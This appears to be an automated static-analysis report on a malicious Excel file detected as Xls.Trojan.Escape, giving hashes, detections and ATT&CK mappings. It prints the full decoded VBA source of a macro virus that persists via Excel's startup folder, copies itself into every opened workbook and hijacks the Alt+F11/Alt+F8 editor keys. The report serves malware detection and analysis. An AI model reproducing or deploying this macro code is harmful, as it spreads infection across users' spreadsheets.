Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a562c25307eb452…

MALICIOUS

Office (OLE)

34.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: a40c690147438a912e12720726f4d1b8 SHA-1: 52999ebb3799826849b90b5dd3db1bfdd96d8326 SHA-256: 3a562c25307eb452f8af76ec98b94f9ea2904778d814cb6915bc53f529bd70d5
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This Excel document contains VBA macros, including an Auto_Open macro, which is a common technique for malware execution. The macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' and potentially register it for auto-execution, indicating a persistence mechanism. ClamAV detections further confirm its malicious nature.

Heuristics 3

  • ClamAV: Xls.Trojan.Escape-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Escape-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3443 bytes
SHA-256: 5a2e6e3fb5f8fa1d8972614657922017a409bc633a7e5cac8c87e2d94eed5b30
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
    Dim i As Single
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.Calculation = xlCalculationManual
'  On Error Resume Next
'  On Error GoTo 0
    Worksheets("barcode").ComboBox2.Clear
    Worksheets("barcode").ComboBox2.AddItem "MDM20"
    Worksheets("barcode").ComboBox2.AddItem "MDQ70"
    Worksheets("barcode").ComboBox2.AddItem "MDM21"
    Worksheets("barcode").ComboBox2.AddItem "MDM20Z"
    Worksheets("barcode").ComboBox2.AddItem "MDT10"
    Worksheets("barcode").ComboBox2.AddItem "MDS90"
    Worksheets("barcode").ComboBox1.Clear
    Worksheets("barcode").ComboBox1.AddItem "新LOT"
'    Worksheets("barcode").ComboBox3.Clear
    
'    For i = 2 To Worksheets("sequence").[a65536].End(xlUp).Row
'    Worksheets("barcode").ComboBox3.AddItem Worksheets("sequence").Cells(i, 1)
'    Next i
    
    Dim MyArray(280, 3)


     '第一个列表框包含三个数据列
    Worksheets("barcode").ListBox1.ColumnCount = 3
     '第二个框包含六个数据列
    For i = 0 To 280
    MyArray(i, 0) = Worksheets("全工程（ZPT）").Cells(i + 4, 8)
    MyArray(i, 1) = Worksheets("全工程（ZPT）").Cells(i + 4, 6)
    MyArray(i, 2) = Worksheets("全工程（ZPT）").Cells(i + 4, 7)
    Next i


'     MyArray = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

'     MyArray = Worksheets("全工程（ZPT）").Range("f4:h9")

    Worksheets("barcode").ListBox1.List() = MyArray
'    ListBox2.Column() = MyArray
    
Rem  arr = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

Rem ListBox1.AddItem Worksheets("全工程（ZPT）").Cells(i, 6)
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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